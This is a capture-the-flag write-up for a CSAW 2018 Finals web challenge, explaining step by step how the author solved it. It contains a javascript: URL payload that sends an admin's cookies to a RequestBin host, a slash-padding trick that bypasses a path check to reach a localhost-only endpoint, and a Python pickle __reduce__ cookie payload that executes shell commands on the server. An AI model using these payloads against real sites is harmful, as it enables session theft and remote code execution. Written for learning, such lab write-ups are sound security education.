Tags: pickle xss rce python
Rating:
This is a write-up for one of the web challenges (500 pts) at the CSAW CTF Finals 2018.
I participated under the team Mad H@tters, and represented the GreyHat club at Georgia Tech. This challenge involved leveraging XSS to obtain a secret key so you could create your own cookies and exploit an python pickle RCE to obtain the flag. It was a very challenging problem and I learned a lot solving it. I hope others will learn a lot as well reading this write-up.
Flag is in /flag.txt
http://web.chal.csaw.io:1003
Files
The website is similar to twitter, where users can create and send posts about whatever they want, and everyone else can see them in one complete feed.
Looking at the zip, we see it's the complete source code of the website, and that it's running the Flask web framework. We see some interesting information in flagon.py:
SECRET_KEY = os.environ.get("FLAGON_SECRET_KEY", "")
...
class Request(BaseRequest):
@cached_property
def session(self):
data = self.cookies.get("session_data")
if not data:
return SecureCookie(secret_key=SECRET_KEY)
return SecureCookie.unserialize(data, SECRET_KEY)
The application has a SECRET_KEY
that it uses to create SecureCookie's. The first thing we need to do is figure out how to get the SECRET_KEY
so we can sign our own cookies. Once we can sign our own cookies, we can utilize an RCE to get the flag. Because SecureCookie uses pickle by default for serialization, we can exploit the deserialization to execute python code. For more information about python pickle deserialization vulnerabilities, you can visit this link.
def flagoninfo(request):
if request.remote_addr != "127.0.0.1":
return render_template("404.html")
info = {
"system": " ".join(os.uname()),
"env": str(os.environ)
}
return render_template("flaginfo.html", info_dict=info)
class Flagon(object):
def __init__(self, name):
self.name = name
self.url_map = Map([])
self.routes = {}
self.wsgi_app = SharedDataMiddleware(self.wsgi_app, {
'/static': os.path.join(os.getcwd(), 'static')
})
flaginfo_route = "/flaginfo"
self.routes[flaginfo_route] = flagoninfo
self.url_map.add(Rule(flaginfo_route, endpoint=flaginfo_route))
In order to get the value of SECRET_KEY, we have to be able to access http://web.chal.csaw.io:1003/flaginfo. Trying to directly access it returns a 404, which makes sense because according to the source code, we can only view the webpage if our ip address is 127.0.0.1
or localhost. Obviously we aren't localhost, so we need to find a different approach.
In app.py, we see the following:
@app.route('/report')
@apply_csp
def report(request):
#: neko checks for naughtiness
#: neko likes links
pass
This implies that there's some "admin" that automatically will click on any links we have in our post. With these type of problems, you normally want to exploit some type of XSS vulnerability so you can steal an admin's cookies. Normally with XSS vulnerability, you have to be able to inject some javascript into an html tag, but in this question we can only control a link. However, if we look at the csp, there's a way to achieve XSS with only a link:
def apply_csp(f):
@wraps(f)
def decorated_func(*args, **kwargs):
resp = f(*args, **kwargs)
csp = "; ".join([
"default-src 'self' 'unsafe-inline'",
"style-src " + " ".join(["'self'",
"*.bootstrapcdn.com",
"use.fontawesome.com"]),
"font-src " + "use.fontawesome.com",
"script-src " + " ".join(["'unsafe-inline'",
"'self'",
"cdnjs.cloudflare.com",
"*.bootstrapcdn.com",
"code.jquery.com"]),
"connect-src " + "*"
])
resp.headers["Content-Security-Policy"] = csp
return resp
return decorated_func
For script-src
, we see that unsafe-inline
is allowed. Looking at this link, it explains what unsafe-inline
means:
'unsafe-inline'
Allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes.
We can use javascript:
URLs to leverage XSS! A javascript:
URL will allow us to execute javascript, so we can obtain the admin's cookies. For example if our url was this:
javascript:document.location='http://www.google.com/'
And the admin clicks on that link, then he would be redirected to www.google.com! Now we construct our own link to steal the admin's cookies. The payload is as follows:
javascript:document.location="http://requestbin.fullcontact.com/zfbxyqzf?"+document.cookie
RequestBin is a simple site to log HTTP requests, so we can use the service to log the request the admin makes when he clicks on the link, to steal his cookies. AFter creating our post, all we need to do is click on the report link and watch the magic happen.
We have successfully obtained the admin's cookies, but what do we do with this now? Also take note of the value of the Referer
header:
Referer: http://127.0.0.1:5000/post?id=20809&instance=cf665777-b943-42ad-bf5e-332f8fc7d2ed
The ip address is 127.0.0.1
! This means the admin is running localhost, so we can abuse this to access /flaginfo
! Looking at app.py again:
def get_post_preview(url):
scheme, netloc, path, query, fragment = url_parse(url)
# No oranges allowed
if scheme != 'http' and scheme != 'https':
return None
if '..' in path:
return None
if path.startswith('/flaginfo'):
return None
try:
r = requests.get(url, allow_redirects=False)
except Exception:
return None
soup = BeautifulSoup(r.text, 'html.parser')
if soup.body:
result = ''.join(soup.body.findAll(text=True)).strip()
result = ' '.join(result.split())
return result[:280]
return None
Using the get_post_preview
function, if the link is http://127.0.0.1:5000/flaginfo
, then we can access the value of SECRET_KEY
! However looking at the newpost
function:
@app.route('/newpost')
@login_required
@apply_csp
def newpost(request):
post = request.form.get('submission-text')
if (len(post) > 280):
return redirect('/')
preview = None
link = None
for word in post.split(' '):
if word.startswith('[link]'):
link = " ".join(word.split('[link]')[1:]).strip()
if verified_user(session, request.session.get('username'))[0]:
preview = get_post_preview(link)
link = link
break
post = post.replace('[link]', '')
add_post(session, request.session.get('username'), post, link, preview)
return redirect('/')
It seems we have to be a verified_user
in order to use the get_post_preview
function. Thankfully, the admin is a verified user! Using the admin's cookies we just stole, we can login as admin and then make a post with the /flaginfo
link and obtain the value of SECRET_KEY
. Using the cookie value we had before:
session_data="/V38m03gQsL5Q3kswHnyy6dDHUM=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfY2Y2NjU3NzdxAC4="
We can replace the current value of our session_data
cookie with this value, and if we reload the page, we're logged in as the admin!
Now we create a post with http://127.0.0.1:5000///flaginfo
and obtain the value of SECRET_KEY
. Why are there 3 slashes instead of one in our URL? Because of this check:
if path.startswith('/flaginfo'):
return None
The path
variable will contain the part of our URL after http://127.0.0.1:5000
, therefore by injecting more slashes than one, we don't change the actual URL when it's resolved, but it will change the value of path
when parsing our URL so we can bypass the check. (Theoretically 2 slashes should work, but for some reason I had success with 3 and not 2).
With our newly created post, we have obtained the value of SECRET_KEY
as superdupersecretflagonkey
. We can now sign our own cookies and do an RCE to get our flag. To generate the cookie, we will use this code (note the username
is the username of the admin that we are logged in as, although it really doesn't matter):
import os
import subprocess
from werkzeug.contrib.securecookie import SecureCookie
class RCE(object):
def __reduce__(self):
return (subprocess.check_output, (['cat','flag.txt'],))
SECRET_KEY = 'superdupersecretflagonkey'
payload = {'name': RCE() , 'username': 'meow_cf665777'}
x = SecureCookie(payload, SECRET_KEY)
value = x.serialize()
print(value)
We get the ouptut as:
FbFYqFStc9FXQBRsRz/NJHQO01c=?name=Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCigobHAxClMnY2F0JwpwMgphUydmbGFnLnR4dCcKcDMKYXRwNApScDUKLg==&username=UydtZW93X2NmNjY1Nzc3JwpwMAou
Setting this as our new session_data
cookie gets us the flag.
Flag:
flag{werks_on_my_box}
This is just a list of tips and tricks when trying to tackle web problems like this.
Based on the source code given, the website was hosted using Flask. This is a common Python web framework that's used it a lot of CTFs, and most challenges related to Flask have to do with the cookies, so that should be the first place to look.
Any challenge that involves some sort of "report" feature or "administrator" probably will involve XSS.
Similiarly if the Python pickle library is used, there's probably some RCE involved.